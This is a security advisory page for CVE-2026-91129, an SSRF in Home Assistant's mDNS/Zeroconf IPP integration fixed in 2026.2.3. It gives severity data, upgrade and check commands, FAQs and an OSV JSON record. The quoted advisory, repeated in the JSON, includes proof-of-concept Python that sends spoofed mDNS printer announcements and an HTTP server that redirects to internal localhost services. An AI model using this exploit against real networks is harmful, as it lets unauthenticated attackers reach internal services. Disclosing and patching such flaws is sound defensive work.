CVE-2026-91129: Home Assistant MDNS Server-Side Request Forgery Vulnerability

MODERATE
Advisory Identifier: GHSA-4ghv-53cq-7wp3
CVSS 5.4
CWE-918
Published
Advisory Summary

CVE-2026-91129 is a MODERATE (CVSS 5.4) mdns server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Home Assistant libraries in the PyPI ecosystem. The issue involves mdns server-side request forgery. Remediation is available by upgrading affected packages to version 2026.2.3.

CVE-2026-91129 at a Glance

CVE Identifier CVE-2026-91129
GHSA Identifier GHSA-4ghv-53cq-7wp3
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Home Assistant
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-91129

To remediate this vulnerability, upgrade all affected Home Assistant dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

homeassistant fixed: 2026.2.3
pip install homeassistant>=2026.2.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show homeassistant

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-91129, inspect your installed packages using pip:

pip show homeassistant

Analyze the terminal output to locate any version of Home Assistant in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.2.3), your application is affected.

Note: The pip show homeassistant command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Home Assistant, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes `_ipp._tcp.local` service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host. ## Details Home Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration's zeroconf handler (`homeassistant/components/ipp/config_flow.py`) processes it automatically. The `async_step_zeroconf` method extracts `host`, `port`, and `base_path` directly from the mDNS discovery info without validation: ```python async def async_step_zeroconf( self, discovery_info: ZeroconfServiceInfo ) -> ConfigFlowResult: host = discovery_info.host port = discovery_info.port zctype = discovery_info.type name = discovery_info.name.replace(f".{zctype}", "") tls = zctype == "_ipps._tcp.local." base_path = discovery_info.properties.get("rp", "ipp/print") self.discovery_info.update( { CONF_HOST: host, CONF_PORT: port, CONF_SSL: tls, CONF_VERIFY_SSL: False, CONF_BASE_PATH: f"/{base_path}", CONF_NAME: name, CONF_UUID: unique_id, } ) ``` These values are then passed to `validate_input()`, which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host: ```python async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]: session = async_get_clientsession(hass) ipp = IPP( host=data[CONF_HOST], port=data[CONF_PORT], base_path=data[CONF_BASE_PATH], tls=data[CONF_SSL], verify_ssl=data[CONF_VERIFY_SSL], session=session, ) printer = await ipp.printer() return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid} ``` The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at `127.0.0.1` or other internal services that are not otherwise network-accessible. An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a **302 redirect** to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf. ## PoC The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service. ### Prerequisites - Attacker machine on the same local network as the Home Assistant Green device - Python 3 with dependencies: `pip install -r requirements.txt` ### Exploit Code The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer: ```python def build_dns_response(service_name, service_type, attacker_ip, attacker_port): transaction_id = 0x0000 # mDNS always 0 flags = 0x8400 # Standard response, authoritative answer qdcount = 0 ancount = 4 # 4 answers (service_type, SRV, TXT, A) nscount = 0 arcount = 0 SRV = service_name + '.' + service_type header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount) def encode_name(name): parts = name.split(".") out = b"" for p in parts: out += bytes([len(p)]) + p.encode("utf-8") out += b"\x00" return out answers = b"" # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local answers += encode_name(service_type) answers += struct.pack("!HHI", 12, 1, 1) target = encode_name(SRV) answers += struct.pack("!H", len(target)) + target # SRV record answers += encode_name(SRV) answers += struct.pack("!HHI", 33, 1, 120) srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local") answers += struct.pack("!H", len(srv_data)) + srv_data # TXT record txt_strs = [b"abcd=efgh"] txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs) answers += encode_name(SRV) answers += struct.pack("!HHI", 16, 1, 120) answers += struct.pack("!H", len(txt_record)) + txt_record # A record: hihiabcdmeomeo.local -> attacker IP answers += encode_name("hihiabcdmeomeo.local") answers += struct.pack("!HHI", 1, 1, 120) ip_bytes = socket.inet_aton(attacker_ip) answers += struct.pack("!H", len(ip_bytes)) + ip_bytes return header + answers def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port) sock.sendto(packet, (has_ip, 5353)) ``` The attacker's HTTP server redirects the incoming IPP request to an internal service: ```python class RedirectHandler(BaseHTTPRequestHandler): def do_POST(self): self.send_response(302) self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>") self.end_headers() ``` ### Usage ```bash python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo ``` ### Exploit Flow 1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service 2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000 3. Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server 4. The attacker's server responds with a 302 redirect to `http://127.0.0.1:<port>/<path>` 5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf ## Impact An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to `127.0.0.1` or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects. ## Mitigations The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (`localhost` and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected. ## Acknowledgements Discovered by ZDI (ZDI-CAN-28336)

CVE-2026-91129 Affected Home Assistant Versions

1 component(s)
Fixed Versions:
2026.2.3
Product / Package Ecosystem Affected Versions Fixed Version
homeassistant
PyPI
< 2026.2.3
2026.2.3

References

Frequently Asked Questions

What is CVE-2026-91129?
CVE-2026-91129 is a security vulnerability in Home Assistant involving mDNS Server-Side Request Forgery under CWE-918: Server-Side Request Forgery (SSRF).
Which Home Assistant versions are affected?
Affected versions include releases prior to 2026.2.3 across affected packages: homeassistant.
What version fixes CVE-2026-91129?
Upgrading to 2026.2.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is homeassistant affected?
Yes, homeassistant is affected in releases prior to 2026.2.3. Upgrade your dependency to 2026.2.3 or later.
What is the CVSS score of CVE-2026-91129?
CVE-2026-91129 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-91129?
CVE-2026-91129 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-91129?
Run the dependency tree command: 'pip show homeassistant'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4ghv-53cq-7wp3",
  "modified" : "2026-09-22T20:40:51Z",
  "published" : "2026-09-22T20:40:51Z",
  "aliases" : [ "CVE-2026-91129" ],
  "summary" : "Home Assistant: mDNS Server-Side Request Forgery",
  "details" : "## Summary\n\nHome Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes `_ipp._tcp.local` service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.\n\n## Details\n\nHome Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration's zeroconf handler (`homeassistant/components/ipp/config_flow.py`) processes it automatically.\n\nThe `async_step_zeroconf` method extracts `host`, `port`, and `base_path` directly from the mDNS discovery info without validation:\n\n```python\nasync def async_step_zeroconf(\n    self, discovery_info: ZeroconfServiceInfo\n) -> ConfigFlowResult:\n    host = discovery_info.host\n    port = discovery_info.port\n    zctype = discovery_info.type\n    name = discovery_info.name.replace(f\".{zctype}\", \"\")\n    tls = zctype == \"_ipps._tcp.local.\"\n    base_path = discovery_info.properties.get(\"rp\", \"ipp/print\")\n\n    self.discovery_info.update(\n        {\n            CONF_HOST: host,\n            CONF_PORT: port,\n            CONF_SSL: tls,\n            CONF_VERIFY_SSL: False,\n            CONF_BASE_PATH: f\"/{base_path}\",\n            CONF_NAME: name,\n            CONF_UUID: unique_id,\n        }\n    )\n```\n\nThese values are then passed to `validate_input()`, which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:\n\n```python\nasync def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:\n    session = async_get_clientsession(hass)\n    ipp = IPP(\n        host=data[CONF_HOST],\n        port=data[CONF_PORT],\n        base_path=data[CONF_BASE_PATH],\n        tls=data[CONF_SSL],\n        verify_ssl=data[CONF_VERIFY_SSL],\n        session=session,\n    )\n    printer = await ipp.printer()\n    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}\n```\n\nThe core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at `127.0.0.1` or other internal services that are not otherwise network-accessible.\n\nAn attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a **302 redirect** to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.\n\n## PoC\n\nThe PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.\n\n### Prerequisites\n\n- Attacker machine on the same local network as the Home Assistant Green device\n- Python 3 with dependencies: `pip install -r requirements.txt`\n\n### Exploit Code\n\nThe core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:\n\n```python\ndef build_dns_response(service_name, service_type, attacker_ip, attacker_port):\n    transaction_id = 0x0000  # mDNS always 0\n    flags = 0x8400           # Standard response, authoritative answer\n    qdcount = 0\n    ancount = 4              # 4 answers (service_type, SRV, TXT, A)\n    nscount = 0\n    arcount = 0\n\n    SRV = service_name + '.' + service_type\n    header = struct.pack(\"!HHHHHH\", transaction_id, flags, qdcount, ancount, nscount, arcount)\n\n    def encode_name(name):\n        parts = name.split(\".\")\n        out = b\"\"\n        for p in parts:\n            out += bytes([len(p)]) + p.encode(\"utf-8\")\n        out += b\"\\x00\"\n        return out\n\n    answers = b\"\"\n\n    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local\n    answers += encode_name(service_type)\n    answers += struct.pack(\"!HHI\", 12, 1, 1)\n    target = encode_name(SRV)\n    answers += struct.pack(\"!H\", len(target)) + target\n\n    # SRV record\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 33, 1, 120)\n    srv_data = struct.pack(\"!HHH\", 0, 0, attacker_port) + encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!H\", len(srv_data)) + srv_data\n\n    # TXT record\n    txt_strs = [b\"abcd=efgh\"]\n    txt_record = b\"\".join(bytes([len(s)]) + s for s in txt_strs)\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 16, 1, 120)\n    answers += struct.pack(\"!H\", len(txt_record)) + txt_record\n\n    # A record: hihiabcdmeomeo.local -> attacker IP\n    answers += encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!HHI\", 1, 1, 120)\n    ip_bytes = socket.inet_aton(attacker_ip)\n    answers += struct.pack(\"!H\", len(ip_bytes)) + ip_bytes\n\n    return header + answers\n\ndef send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)\n    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)\n    sock.sendto(packet, (has_ip, 5353))\n```\n\nThe attacker's HTTP server redirects the incoming IPP request to an internal service:\n\n```python\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:<INTERNAL_PORT>/<path>\")\n        self.end_headers()\n```\n\n### Usage\n\n```bash\npython3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo\n```\n\n### Exploit Flow\n\n1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service\n2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000\n3. Home Assistant's IPP integration automatically discovers the \"printer\" and connects to the attacker's HTTP server\n4. The attacker's server responds with a 302 redirect to `http://127.0.0.1:<port>/<path>`\n5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf\n\n## Impact\n\nAn unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to `127.0.0.1` or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.\n\n## Mitigations\n\nThe shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (`localhost` and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.\n\n## Acknowledgements\n\nDiscovered by ZDI (ZDI-CAN-28336)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "homeassistant"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.2.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 2026.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/pull/162941"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/commit/0f3c7ca2772b605c0f3c09c88f35e527ea6ea560"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/commit/815c708d19aa0c7f59f9ee318b613a5e481a42b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/home-assistant/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/home-assistant/core/releases/tag/2026.2.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:40:51Z",
    "nvd_published_at" : null
  }
}